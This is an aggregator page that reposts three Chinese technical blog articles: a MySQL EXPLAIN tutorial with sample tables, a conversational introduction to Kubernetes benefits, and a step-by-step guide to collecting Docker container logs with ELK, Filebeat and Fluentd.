  某一天,樓主打完上班卡,坐在工位逛園子的時候,右下角的 QQ 閃了起來,而且還是個美女頭像!我又驚又喜,腦中閃過我所認識的可能聯繫我的女性,得出個結論:她們這會不可能聯繫我呀,圖像也沒映象,到底是誰了?打開聊天窗口聊了起來

  她:您好,我是公司客服某某某,請問 xxx後台 是您負責的嗎?

  我:您好,是我負責的,有什麼問題嗎?

  她:我發現 xxx 頁面點查詢后,一直是 加載中… ,數據一直出不來,能幫忙看看嗎?

  我:是不是您的姿勢不對?

  她:我就 xxx,然後點查詢

  我:騷等下,我試試,確實有點慢,很長時間才能出來

  她:是的,太慢了,出不來,都急死我了,能快點嗎?

  我:肯定能、必須能!您覺得什麼速度讓您覺得最舒服?

  她:越快越好吧

  我:呃…,是嗎,我先看看是什麼問題,處理好了告訴您,保證讓您覺得舒服!

  她:好的,謝謝!

  公司沒有專門的搜索服務,都是直接從 MySQL 查詢,做簡單的數據處理后返回給頁面,慢的原因肯定就是 SQL 查詢了。找到對應的查詢 SQL ,就是兩個表的聯表查詢,連接鍵也有索引,WHERE 條件也能走索引,怎麼會慢了?然後我用 EXPLAIN 看了下這條 SQL 的執行計劃,找到了慢的原因,具體原因後面揭曉(誰讓你不是豬腳!)

EXPLAIN 是什麼

  它是 MySQL 的一個命令,用來查看 SQL 的執行計劃(SQL 如何執行),根據其輸出結果,我們能夠知道以下信息:表的讀取順序,數據讀取類型,哪些索引可以使用,哪些索引實際使用了,表之間的連接類型,每張表有多少行被優化器查詢等信息,根據這些信息,我們可以找出 SQL 慢的原因,並做針對性的優化

  MySQL 5.6 之前的版本,EXPLAIN 只能用於查看 SELECT 的執行計劃,而從 MySQL 5.6 開始,可以查看 SELECT 、 DELETE 、 INSERT 、 REPLACE 和 UPDATE 的執行計劃,這可不是我瞎掰,不信的可以去 MySQL 的官網查看:

  EXPLAIN 使用方式非常簡單,簡單的你都不敢相信,就是在我們常寫的 SELECT 、 DELETE 、 INSERT 、 REPLACE 和 UPDATE 語句之前加上 EXPLAIN 即可

EXPLAIN SELECT * FROM mysql.`user`;

EXPLAIN DELETE FROM t_user WHERE user_name = '123';

  莫看 EXPLAIN 短,但它胖呀

雖然有點嬰兒肥,但也掩不住我逼人的帥氣!

  雖然 EXPLAIN 使用起來非常簡單,但它的輸出結果中信息量非常大,雖然我胖,但我肚中有貨呀!

環境和數據準備

  MySQL 版本是 5.7.2 ,存儲引擎是 InnoDB 

-- 查看 MySQL 版本
SELECT VERSION();

-- MySQL 提供什麼存儲引擎
SHOW ENGINES;

-- 查看默認存儲引擎
SHOW VARIABLES LIKE '%storage_engine%';

  準備兩張表:用戶表 tbl_user 和用戶登錄記錄表 tbl_user_login_log ,並初始化部分部分數據

-- 表創建與數據初始化
DROP TABLE IF EXISTS tbl_user;
CREATE TABLE tbl_user (
  id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '自增主鍵',
  user_name VARCHAR(50) NOT NULL COMMENT '用戶名',
  sex TINYINT(1) NOT NULL COMMENT '性別, 1:男,0:女',
  create_time datetime NOT NULL COMMENT '創建時間',
  update_time datetime NOT NULL COMMENT '更新時間',
    remark VARCHAR(255) NOT NULL DEFAULT '' COMMENT '備註',
  PRIMARY KEY (id)
) COMMENT='用戶表';

DROP TABLE IF EXISTS tbl_user_login_log;
CREATE TABLE tbl_user_login_log (
  id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '自增主鍵',
  user_name VARCHAR(50) NOT NULL COMMENT '用戶名',
  ip VARCHAR(15) NOT NULL COMMENT '登錄IP',
  client TINYINT(1) NOT NULL COMMENT '登錄端, 1:android, 2:ios, 3:PC, 4:H5',
  create_time datetime NOT NULL COMMENT '創建時間',
  PRIMARY KEY (id)
) COMMENT='登錄日誌';
INSERT INTO tbl_user(user_name,sex,create_time,update_time,remark) VALUES
('何天香',1,NOW(), NOW(),'朗眉星目,一表人材'),
('薛沉香',0,NOW(), NOW(),'天星樓的總樓主薛搖紅的女兒,也是天星樓的少總樓主,體態豐盈,烏髮飄逸,指若春蔥,袖臂如玉,風姿卓然,高貴典雅,人稱“天星絕香”的武林第一大美女'),
('慕容蘭娟',0,NOW(), NOW(),'武林東南西北四大世家之北世家慕容長明的獨生女兒,生得玲瓏剔透,粉雕玉琢,脾氣卻是剛烈無比,又喜着火紅,所以人送綽號“火鳳凰”,是除天星樓薛沉香之外的武林第二大美女'),
('萇婷',0,NOW(), NOW(),'當今皇上最寵愛的侄女,北王府的郡主,腰肢纖細,遍體羅綺,眉若墨畫,唇點櫻紅;雖無沉香之雅重,蘭娟之熱烈,卻別現出一種空靈'),
('柳含姻',0,NOW(), NOW(),'武林四絕之一的添愁仙子董婉婉的徒弟,體態窈窕,姿容秀麗,真箇是秋水為神玉為骨,芙蓉如面柳如腰,眉若墨畫,唇若點櫻,不弱西子半分,更勝玉環一籌; 搖紅樓、聽雨軒,琵琶一曲值千金!'),
('李凝雪',0,NOW(), NOW(),'李相國的女兒,神采奕奕,英姿颯爽,愛憎分明'),
('周遺夢',0,NOW(), NOW(),'音神傳人,湘妃竹琴的擁有者,雲髻高盤,穿了一身黑色蟬翼紗衫,愈覺得冰肌玉骨,粉面櫻唇,格外嬌艷動人'),
('恭弘=叶 恭弘留痕',0,NOW(), NOW(),'聖域聖女,膚白如雪,白衣飄飄,宛如仙女一般,微笑中帶着說不出的柔和之美'),
('郭疏影',0,NOW(), NOW(),'揚灰右使的徒弟,秀髮細眉,玉肌豐滑,嬌潤脫俗'),
('鍾鈞天',0,NOW(), NOW(),'天界,玄天九部 - 鈞天部的部主,超凡脫俗,仙氣逼人'),
('王雁雲',0,NOW(), NOW(),'塵緣山莊二小姐,刁蠻任性'),
('許侍霜',0,NOW(), NOW(),'藥王穀穀主女兒,醫術高明'),
('馮黯凝',0,NOW(), NOW(),'桃花門門主,嬌艷如火,千嬌百媚');
INSERT INTO tbl_user_login_log(user_name, ip, client, create_time) VALUES
('薛沉香', '10.53.56.78',2, '2019-10-12 12:23:45'),
('萇婷', '10.53.56.78',2, '2019-10-12 22:23:45'),
('慕容蘭娟', '10.53.56.12',1, '2018-08-12 22:23:45'),
('何天香', '10.53.56.12',1, '2019-10-19 10:23:45'),
('柳含姻', '198.11.132.198',2, '2018-05-12 22:23:45'),
('馮黯凝', '198.11.132.198',2, '2018-11-11 22:23:45'),
('周遺夢', '198.11.132.198',2, '2019-06-18 22:23:45'),
('郭疏影', '220.181.38.148',3, '2019-10-21 09:45:56'),
('薛沉香', '220.181.38.148',3, '2019-10-26 22:23:45'),
('萇婷', '104.69.160.60',4, '2019-10-12 10:23:45'),
('王雁雲', '104.69.160.61',4, '2019-10-16 20:23:45'),
('李凝雪', '104.69.160.62',4, '2019-10-17 20:23:45'),
('許侍霜', '104.69.160.63',4, '2019-10-18 20:23:45'),
('恭弘=叶 恭弘留痕', '104.69.160.64',4, '2019-10-19 20:23:45'),
('王雁雲', '104.69.160.65',4, '2019-10-20 20:23:45'),
('恭弘=叶 恭弘留痕', '104.69.160.66',4, '2019-10-21 20:23:45');

SELECT * FROM tbl_user;
SELECT * FROM tbl_user_login_log;

View Code

EXPLAIN 輸出格式概覽

  樓主再不講重點,估計有些看官老爺找他的 2 米長的大砍刀去了

  這麼滴,我們先來看看 EXPLAIN 輸出結果的大概,是不是長得滿臉麻子,讓我們望而生畏 ?

  白白凈凈的,挺好,關鍵長啊! 解釋如下

EXPLAIN 輸出格式詳解

  EXPLAIN 的輸出字段雖然有點多,但常關注的就那麼幾個,但樓主秉着負責的態度,都給大家講一下,需要重點關注的字段,樓主也會標明滴

  EXPLAIN 支持的 SQL 語句有好幾種,但工作中用的最多的還是 SELECT ,所以樓主就偷個懶,以 SELECT 來講解 EXPLAIN,有興趣的老爺去試試其他的

  id

    輸出的是整數,用來標識整個 SQL 的執行順序。id 如果相同,從上往下依次執行id不同;id 值越大,執行優先級越高,越先被執行;如果行引用其他行的並集結果,則該值可以為NULL

    不重要,有所了解就好(其實非常簡單,看一遍基本就能記住了)

  select_type

    查詢的類型,說明如下

    簡單幫大家翻譯一下(有能力的去讀官網,畢竟那是原配,最具權威性)

    SIMPLE:簡單的 SELECT 查詢,沒有 UNION 或者子查詢,包括單表查詢或者多表 JOIN 查詢

    PRIMARY: 最外層的 select 查詢,常見於子查詢或 UNION 查詢 ,最外層的查詢被標識為 PRIMARY

    UNION:UNION 操作的第二個或之後的 SELECT,不依賴於外部查詢的結果集(外部查詢指的就是 PRIMARY 對應的 SELECT

    DEPENDENT UNION:UNION 操作的第二個或之後的 SELECT,依賴於外部查詢的結果集

    UNION RESULT:UNION 的結果(如果是 UNION ALL 則無此結果)

    SUBQUERY:子查詢中的第一個 SELECT 查詢,不依賴於外部查詢的結果集

    DEPENDENT SUBQUERY:子查詢中的第一個select查詢,依賴於外部查詢的結果集

    DERIVED:派生表(臨時表),常見於 FROM 子句中有子查詢的情況

      注意:MySQL5.7 中對 Derived table 做了一個新特性,該特性允許將符合條件的 Derived table 中的子表與父查詢的表合併進行直接JOIN,從而簡化簡化了執行計劃,同時也提高了執行效率;默認情況下,MySQL5.7 中這個特性是開啟的,所以默認情況下,上面的 SQL 的執行計劃應該是這樣的

      可通過 SET SESSION optimizer_switch=derived_merge=on|off 來開啟或關閉當前 SESSION 的該特性。貌似扯的有點遠了(樓主你是不是在隨性發揮?),更多詳情可以去查閱

    MATERIALIZED:被物化的子查詢,MySQL5.6 引入的一種新的 select_type,主要是優化 FROM 或 IN 子句中的子查詢,更多詳情請查看:

    UNCACHEABLE SUBQUERY:對於外層的主表,子查詢不可被緩存,每次都需要計算

    UNCACHEABLE UNION:類似於 UNCACHEABLE SUBQUERY,只是出現在 UNION 操作中

    SIMPLLE、PRIMARY、SUBQUERY、DERIVED 這 4 個在實際工作中碰到的會比較多,看得懂這 4 個就行了,至於其他的,碰到了再去查資料就好了(我也想全部記住,但用的少,太容易忘記了,我也很無賴呀)

  table

    显示了對應行正在訪問哪個表(有別名就显示別名),還會有 <union2,3> 、 <subquery2> 、 <derived2> (這裏的 2,3、2、2 指的是 id 列的值)類似的值,具體可以往上看,這裏就不演示了(再演示就太長了,你們都看不下去了,那我不是白忙乎了 ?)

  partitions

    查詢進行匹配的分區,對於非分區表,該值為NULL。大多數情況下用不到分區,所以這一列我們無需關注

  type

    關聯類型或者訪問類型,它指明了 MySQL 決定如何查找表中符合條件的行,這是我們判斷查詢是否高效的重要依據(type 之於 EXPLAIN,就好比三圍之於女人!),完整介紹請看:

    其值有多種,我們以性能好到性能差的順序一個一個來看     

    system

      該表只有一行(=系統表),是 const 類型的特例
    const

      確定只有一行匹配的時候,mysql 優化器會在查詢前讀取它並且只讀取一次,速度非常快。用於 primary key 或 unique 索引中有常亮值比較的情形

    eq_ref

      對於每個來自於前面的表的行,從該表最多只返回一條符合條件的記錄。當連接使用的索引是 PRIMARY KEY 或 UNIQUE NOT NULL 索引時使用,非常高效

    ref

      索引訪問,也稱索引查找,它返回所有匹配某個單個值的行。此類型通常出現在多表的 JOIN 查詢, 針對於非 UNIQUE 或非 PRIMARY KEY, 或者是使用了最左前綴規則索引的查詢,換句話說,如果 JOIN 不能基於關鍵字選擇單個行的話,則使用ref

    fulltext

      當使用全文索引時會用到,這種索引一般用不到,會用專門的搜索服務(solr、elasticsearch等)來替代
    ref_or_null

      類似ref,但是添加了可以專門搜索 NULL 的行

      這個是有前提條件的,前提為 weapon 列有索引,且 weapon 列存在  NULL 

    index_merge

      該訪問類型使用了索引合併優化方法

      這個同樣也是有條件的, id 列和 weapon 列都有單列索引。如果出現 index_merge,並且這類 SQL 後期使用較頻繁,可以考慮把單列索引換為組合索引,這樣效率更高

    unique_subquery

      類似於兩表連接中被驅動表的 eq_ref 訪問方式,unique_subquery 是針對在一些包含 IN 子查詢的查詢語句中,如果查詢優化器決定將 IN 子查詢轉換為 EXISTS 子查詢,而且子查詢可以使用到主鍵或者唯一索引進行等值匹配時,則會使用 unique_subquery

    index_subquery

      index_subquery 與 unique_subquery類似,只不過訪問子查詢中的表時使用的是普通的索引

    range

      使用索引來檢索給定範圍的行,當使用 =、<>、>、>=、<、<=、IS NULL、<=>、BETWEEN 或者 IN 操作符,用常量比較關鍵字列時,則會使用 rang

      前提是必須基於索引,也就是 id 上必須有索引

    index

      當我們可以使用索引覆蓋,但需要掃描全部的索引記錄時,則會使用 index;進行統計時非常常見

    ALL

      我們熟悉的全表掃描

  possible_keys

    展示在這個 SQL 中,可能用到的索引有哪些,但不一定在查詢時使用。若為空則表示沒有可以使用的索引,此時可以通過檢查 WHERE 語句看是否可以引用某些列或者新建索引來提高性能

  key

    展示這個 SQL 實際使用的索引,如果沒有選擇索引,則此列為null,要想強制 MySQL 使用或忽視 possible_keys 列中的索引,在查詢中使用 FORCE INDEX、USE INDEX 或者I GNORE INDEX

  key_len

    展示 MySQL 決定使用的鍵長度(字節數)。如果 key 是 NULL,則長度為 NULL。在不損失精確性的情況下,長度越短越好

  ref

    展示的是與索引列作等值匹配的東東是個啥,比如只是一個常數或者是某個列。它显示的列的名字(或const),此列多數時候為 Null

  rows

    展示的是 mysql 解析器認為執行此 SQL 時預計需要掃描的行數。此數值為一個預估值,不是具體值,通常比實際值小

  filtered

    展示的是返回結果的行數所佔需要讀到的行(rows 的值)的比例,當然是越小越好啦

  extra

    表示不在其他列但也很重要的額外信息。取值有很多,我們挑一些比較常見的過一下

    using index

      表示 SQL 使用了使用覆蓋索引,而不用回表去查詢數據,性能非常不錯

    using where

      表示存儲引擎搜到記錄後進行了後過濾(POST-FILTER),如果查詢未能使用索引,using where 的作用只是提醒我們 mysql 要用 where 條件過濾結果集

    using temporary

      表示 mysql 需要使用臨時表來存儲結果集,常見於排序和分組查詢

    using filesort

      表示 mysql 無法利用索引直接完成排序(排序的字段不是索引字段),此時會用到緩衝空間(內存或者磁盤)來進行排序;一般出現該值,則表示 SQL 要進行優化了,它對 CPU 的消耗是比較大的

    impossible where

      查詢語句的WHERE子句永遠為 FALSE 時將會提示該額外信息

 

 

     當然還有其他的,不常見,等碰到了大家再去查吧(現在凌晨 1 點,我實在是太困了!)

總結

  1、背景疑問

    還記得客服小姐姐的問題嗎,她嫌我們太慢,具體原因下篇再詳細介紹,這裏就提一下:連表查詢的 連接鍵 類型不一致,一個 INT 類型,一個 VARCHAR 類型,導致 type 是 ALL(這誰設計的呀,坑死人呀! 難道是我 ?)

  2、思維導圖

    本來是想自己畫個思維導圖的,可上網一搜,發現了一個人家畫好了的思維導圖,我就偷個懶借用下:,裏面描述的很詳細,同時也包括了各種示例,真香!

  3、肚中精華

    EXPLAIN 的輸出內容很多,我們沒必要全部掌握,重點我已經幫大家划好

    type,就像 RMB 一樣重要

    key,也像 RMB 一樣重要

    extra,還像 RMB 一樣重要

    說白了還是 RMB 最重要,不是,我的意思是 type、key、extra 都很重要,其他的用到了再去買吧

  4、示例代碼

    

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

程序員修神之路–kubernetes是微服務發展的必然產物



菜菜哥,我昨天又請假出去面試了


戰況如何呀?


多數面試題回答的還行,但是最後讓我介紹微服務和kubernetes的時候,掛了


話說微服務和kubernetes內容確實挺多的


那你給我大體介紹一下唄


可以呀,不過要請和coffee哦


◆◆
kubernetes介紹
◆◆

在很多項目的發展初期,都是小型或者大型的單體項目,部署在單台或者多台服務器上,以單個進程的方式來運行。這些項目隨着需求的遞增,發布周期逐漸增長,迭代速度明顯下降。傳統的發布方式是:開發人員將項目打包發給運維人員,運維人員進行部署、資源分配等操作。

隨着軟件行業架構方式的改變,這些大型的單體應用按照業務或者其他維度逐漸被分解為可獨立運行的組件,我們稱之為微服務。微服務彼此之間被獨立開發、部署、升級、擴容,真正實現了大型應用的解耦工作。關於微服務的介紹,大家可以去擼一下菜菜之前的文章:

https://mp.weixin.qq.com/s/b7Bd8giwWVNF1CtkaDaVpw

https://mp.weixin.qq.com/s/BixgyGFrlwZ7wpgDdrmU_g

軟件開發行業就是這樣奇葩,每一個問題被解決之後總是伴隨着另外的問題出現,就像程序員改bug,為什麼總有改不完的bug,真的很令人頭大!!!

微服務雖然解決了一些問題,但是隨着微服務數量的增多,配置、管理、擴容、高可用等要求的實現變的越來越困難,包括運維團隊如何更好的利用硬件資源並降低服務器成本,以及部署的自動化和故障處理等問題變得原來越棘手。

以上問題正是kubernetes要解決並且擅長的領域,它可以讓開發者自主部署應用,自主控制迭代的頻率,完全解放運維團隊。而運維團隊的工作重心從以往的服務器資源管理轉移到了kubernetes的資源管理。kubernetes最厲害之處是對硬件基礎設施進行了封裝和抽象,使得開發人員完全不用去了解硬件的基礎原理,不用去關注底層服務器。kubernetes內部把設置的服務器抽象為資源池,在部署應用的時候,它會自動給應用分配合適合理的服務器資源,並且能夠保證這些應用能正常的和其他應用進行通信。一個kubernetes集群的大體結構如下:

那kubernetes有哪些具體優勢呢?能說下不?


再加一杯coffee?


◆◆
kubernetes優勢
◆◆

微服務雖好,但是數量多了就會有量帶來的問題。隨着系統組件的不斷增長,這些組件的管理問題逐漸浮出水面。首先我們要明白kubernetes是一個軟件系統,它依賴於linux容器的特性來管理組件(kubernetes和容器並非一個概念,請不要混淆)。通過kubernetes部署應用程序時候,你的集群無論包含多少個節點,對於kubernetes來說不會有什麼差異,這完全得益於它對底層基礎設置的抽象,使得數個節點運行的時候表現的好像一個節點一樣。

自動擴容

在kubernetes系統中,它可以對每個應用進行實時的監控,並能根據策略來應對突發的流量做出反應。例如:在流量高峰期間,kubernetes可以根據各個節點的資源利用情況,進行自動的增加節點或者減少節點操作,這在以前的傳統應用部署方式中是不容易做到的。

簡化部署流程

以往的傳統應用發布的時候,需要開發人員把項目打包,並檢查項目的配置文件是否正確,然後發給運維人員,運維人員然後把線上的應用版本備份,然後停止服務進行更新。在kubernetes中,我們多數情況下只需要一條指令或者點擊一個按鈕,就可以把應用升級到最新版本,而且升級的過程中還可做做到不間斷服務。當然整個的流程還涉及到容器的操作,本次這裏不再做過多介紹。

但是這裡有一個意外情況,如果kubernetes集群中存在不同架構CPU的服務器,而你的應用程序是針對特定CPU架構的軟件,可能需要在kubernetes中指定節點去運行你的應用程

提高服務器資源的利用率

傳統應用部署的時候,多數情況下總會把資源留有一定的比例來作為資源的緩衝,來應對流量的峰值,很少有人把單個服務器資源利用率提高到90%以上,從服務器故障的概率來說,服務器資源使用率在90%要比50%高很多,而且服務器一旦出現故障,都是運維人員來解決問題和背鍋,所以傳統的物理機或者虛擬機部署應用的方式,硬件的資源利用率相比較來說是比較低的。

而kubernetes對集群的管理由於抽象了底層硬件設施,所以已經將應用程序和基礎設施分離開來。當你告訴kubernetes運行你 應用程序時,它會根據程序的資源需求和集群內每隔節點的可用資源情況選擇合適的節點來運行。而且通過容器的技術,可以讓應用程序在任何時間遷移到集群中的任何機器上。而對於服務器選擇的最優的組合,kubernetes比人工做的更好,它會根據集群中每台服務器的負載情況來把硬件利用率提高到最高。

自動修復

在傳統的應用架構中,如果一台服務器發生故障,那麼這台服務器上的應用將會全部down掉,多數情況下需要運維人員去處理,這也是為什麼運維人員需要7*24小時隨時待命的一個重要原因。相信你也曾看到過因為半夜故障運維人員罵娘的情景。在kubernetes中,它監視並管理着所有的節點和應用,在節點出現故障的時候,kubernetes可以自動將該節點上的應用遷移到其他健康節點,並將故障節點在資源池中排除。如果你的kubernetes集群基礎設施有足夠的備用資源來支撐系統的正常運行,運維人員完全可以拖延到正常的工作時間再處理故障,讓程序員和運維人員過一下965的工作節奏。

這點有點像Actor模型的設計理論,提倡的是任其崩潰原理。

一致的運行環境

無論你是開發還是運維人員,在傳統的部署方案中,總會有運行環境差異性的煩惱,這樣的差異性大到每個服務器的差異,小到開發環境、仿真環境、生產環境,而且每個環境的服務器都會隨着時間的推移而變化。我相信你一定遇到過開發環境程序運行正常,生產環境卻異常的情況。這種差異性不僅僅是因為生產環境由運維團隊管理,開發環境由開發者管理,更重要的這兩組人對系統的要求是不同的,運維團隊會對線上生產環境定時的打補丁,做安全監測等操作,而開發者可能根本就不會弔這些問題。除此之外,應用系統依賴的第三方庫可能在開發、仿真、生產環境中版本不同,這樣的問題反正我是遇到過。

而kubernetes採用的容器技術,在把應用打包的時候,運行環境也一起被打入包中,這就保證了相同版本的容器包(鏡像)在任何服務器上都有相同的運行環境

kubernetes原來有這麼優勢,那我得好好學學了


雖然kubernetes優勢很多,但是入門門檻比較高,而且在個別情況下反而不合適


kubernetes要求開發人員對容器技術和網絡知識有一定了解,所以是否採用kubernetes要根據團隊的綜合技能和項目斟酌使用,並不是所有項目採用kubernetes都有利

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

你必須知道的容器日誌 (2) 開源日誌管理方案 ELK/EFKUSB

本篇已加入《》,可以點擊查看更多容器化技術相關係列文章。上一篇《》中介紹了Docker自帶的logs子命令以及其Logging driver,本篇將會介紹一個流行的開源日誌管理方案ELK。

一、關於ELK

1.1 ELK簡介

  ELK 是Elastic公司提供的一套完整的日誌收集以及展示的解決方案,是三個產品的首字母縮寫,分別是ElasticSearchLogstashKibana

  • Elasticsearch是實時全文搜索和分析引擎,提供搜集、分析、存儲數據三大功能
  • Logstash是一個用來搜集、分析、過濾日誌的工具
  • Kibana是一個基於Web的圖形界面,用於搜索、分析和可視化存儲在 Elasticsearch指標中的日誌數據   

1.2 ELK日誌處理流程

   上圖展示了在Docker環境下,一個典型的ELK方案下的日誌收集處理流程:

  • Logstash從各個Docker容器中提取日誌信息
  • Logstash將日誌轉發到ElasticSearch進行索引和保存
  • Kibana負責分析和可視化日誌信息

  由於Logstash在數據收集上並不出色,而且作為Agent,其性能並不達標。基於此,Elastic發布了beats系列輕量級採集組件。

  這裏我們要實踐的Beat組件是Filebeat,Filebeat是構建於beats之上的,應用於日誌收集場景的實現,用來替代 Logstash Forwarder 的下一代 Logstash 收集器,是為了更快速穩定輕量低耗地進行收集工作,它可以很方便地與 Logstash 還有直接與 Elasticsearch 進行對接。

  本次實驗直接使用Filebeat作為Agent,它會收集我們在第一篇《》中介紹的json-file的log文件中的記錄變動,並直接將日誌發給ElasticSearch進行索引和保存,其處理流程變為下圖,你也可以認為它可以稱作 EFK。

二、ELK套件的安裝

  本次實驗我們採用Docker方式部署一個最小規模的ELK運行環境,當然,實際環境中我們或許需要考慮高可用和負載均衡。

  首先拉取一下sebp/elk這個集成鏡像,這裏選擇的tag版本是640(最新版本已經是7XX了):

docker pull sebp/elk:640

  注:由於其包含了整個ELK方案,所以需要耐心等待一會。

  通過以下命令使用sebp/elk這個集成鏡像啟動運行ELK:

docker run -it -d --name elk \
    -p 5601:5601 \
    -p 9200:9200 \
    -p 5044:5044 \
    sebp/elk:640

  運行完成之後就可以先訪問一下 http://[Your-HostIP]:5601 看看Kibana的效果:  

  Kibana管理界面

Kibana Index Patterns界面

  當然,目前沒有任何可以显示的ES的索引和數據,再訪問一下http://[Your-HostIP]:9200 看看ElasticSearch的API接口是否可用:

ElasticSearch API

  Note:如果啟動過程中發現一些錯誤,導致ELK容器無法啟動,可以參考《》及《》一文。如果你的主機內存低於4G,建議增加配置設置ES內存使用大小,以免啟動不了。例如下面增加的配置,限制ES內存使用最大為1G:

docker run -it -d --name elk \
    -p 5601:5601 \
    -p 9200:9200 \
    -p 5044:5044 \
  -e ES_MIN_MEM=512m \ -e ES_MAX_MEM=1024m \ sebp/elk:640

三、Filebeat配置

3.1 安裝Filebeat

  這裏我們通過rpm的方式下載Filebeat,注意這裏下載和我們ELK對應的版本(ELK是6.4.0,這裏也是下載6.4.0,避免出現錯誤):

wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.4.0-x86_64.rpm
rpm -ivh filebeat-6.4.0-x86_64.rpm

3.2 配置Filebeat  

   這裏我們需要告訴Filebeat要監控哪些日誌文件 及 將日誌發送到哪裡去,因此我們需要修改一下Filebeat的配置:

cd /etc/filebeat
vim filebeat.yml

  要修改的內容為:

  (1)監控哪些日誌?

filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

  # Change to true to enable this input configuration.
  enabled: true

  # Paths that should be crawled and fetched. Glob based paths.
  paths:
    - /var/lib/docker/containers/*/*.log - /var/log/syslog

  這裏指定paths:/var/lib/docker/containers/*/*.log,另外需要注意的是將 enabled 設為 true。

  (2)將日誌發到哪裡?

#-------------------------- Elasticsearch output ------------------------------
output.elasticsearch:
  # Array of hosts to connect to.
  hosts: ["192.168.16.190:9200"]

  # Optional protocol and basic auth credentials.
  #protocol: "https"
  #username: "elastic"
  #password: "changeme"

  這裏指定直接發送到ElasticSearch,配置一下ES的接口地址即可。

  Note:如果要發到Logstash,請使用後面這段配置,將其取消註釋進行相關配置即可:

#----------------------------- Logstash output --------------------------------
#output.logstash:
  # The Logstash hosts
  #hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

3.3 啟動Filebeat

  由於Filebeat在安裝時已經註冊為systemd的服務,所以只需要直接啟動即可:

systemctl start filebeat.service

  檢查Filebeat啟動狀態:

systemctl status filebeat.service

3.4 驗證Filebeat

  通過訪問ElasticSearch API可以發現以下變化:ES建立了以filebeat-開頭的索引,我們還能夠看到其來源及具體的message。

四、Kibana配置

  接下來我們就要告訴Kibana,要查詢和分析ElasticSearch中的哪些日誌,因此需要配置一個Index Pattern。從Filebeat中我們知道Index是filebeat-timestamp這種格式,因此這裏我們定義Index Pattern為 filebeat-*

  點擊Next Step,這裏我們選擇Time Filter field name為@timestamp:

  單擊Create index pattern按鈕,即可完成配置。

  這時我們單擊Kibana左側的Discover菜單,即可看到容器的日誌信息啦:

  仔細看看細節,我們關注一下message字段:

  可以看到,我們重點要關注的是message,因此我們也可以篩選一下只看這個字段的信息:

  此外,Kibana還提供了搜索關鍵詞的日誌功能,例如這裏我關注一下日誌中包含unhandled exception(未處理異常)的日誌信息:

  這裏只是樸素的展示了導入ELK的日誌信息,實際上ELK還有很多很豐富的玩法,例如分析聚合、炫酷Dashboard等等。筆者在這裏也是初步使用,就介紹到這裏啦。

五、Fluentd引入

5.1 關於Fluentd

  前面我們採用的是Filebeat收集Docker的日誌信息,基於Docker默認的json-file這個logging driver,這裏我們改用Fluentd這個開源項目來替換json-file收集容器的日誌。

  Fluentd是一個開源的數據收集器,專為處理數據流設計,使用JSON作為數據格式。它採用了插件式的架構,具有高可擴展性高可用性,同時還實現了高可靠的信息轉發。Fluentd也是雲原生基金會 (CNCF) 的成員項目之一,遵循Apache 2 License協議,其github地址為:。Fluentd與Logstash相比,比佔用內存更少、社區更活躍,兩者的對比可以參考這篇文章《》。

  因此,整個日誌收集與處理流程變為下圖,我們用 Filebeat 將 Fluentd 收集到的日誌轉發給 Elasticsearch。

   當然,我們也可以使用Fluentd的插件(fluent-plugin-elasticsearch)直接將日誌發送給 Elasticsearch,可以根據自己的需要替換掉Filebeat,從而形成Fluentd => ElasticSearch => Kibana 的架構,也稱作EFK。

5.2 運行Fluentd

  這裏我們通過容器來運行一個Fluentd採集器:

docker run -d -p 24224:24224 -p 24224:24224/udp -v /edc/fluentd/log:/fluentd/log fluent/fluentd

  默認Fluentd會使用24224端口,其日誌會收集在我們映射的路徑下。

  此外,我們還需要修改Filebeat的配置文件,將/edc/fluentd/log加入監控目錄下:

#=========================== Filebeat inputs =============================

filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

  # Change to true to enable this input configuration.
  enabled: true

  # Paths that should be crawled and fetched. Glob based paths.
  paths:
    - /edc/fluentd/log/*.log

  添加監控配置之後,需要重新restart一下filebeat:

systemctl restart filebeat

5.3 運行測試容器

  為了驗證效果,這裏我們Run兩個容器,並分別制定其log-dirver為fluentd:

docker run -d \
           --log-driver=fluentd \
           --log-opt fluentd-address=localhost:24224 \
           --log-opt tag="test-docker-A" \
           busybox sh -c 'while true; do echo "This is a log message from container A"; sleep 10; done;'

docker run -d \
           --log-driver=fluentd \
           --log-opt fluentd-address=localhost:24224 \
           --log-opt tag="test-docker-B" \
           busybox sh -c 'while true; do echo "This is a log message from container B"; sleep 10; done;'

  這裏通過指定容器的log-driver,以及為每個容器設立了tag,方便我們後面驗證查看日誌。

5.4 驗證EFK效果

  這時再次進入Kibana中查看日誌信息,便可以通過剛剛設置的tag信息篩選到剛剛添加的容器的日誌信息了:

六、小結

  本文從ELK的基本組成入手,介紹了ELK的基本處理流程,以及從0開始搭建了一個ELK環境,演示了基於Filebeat收集容器日誌信息的案例。然後,通過引入Fluentd這個開源數據收集器,演示了如何基於EFK的日誌收集案例。當然,ELK/EFK有很多的知識點,筆者也還只是初步使用,希望未來能夠分享更多的實踐總結。

參考資料

CloudMan,《》

一杯甜酒,《》

於老三,《》

zpei0411,《》

曹林華,《》

 

作者:

出處:

本文版權歸作者和博客園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文鏈接。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

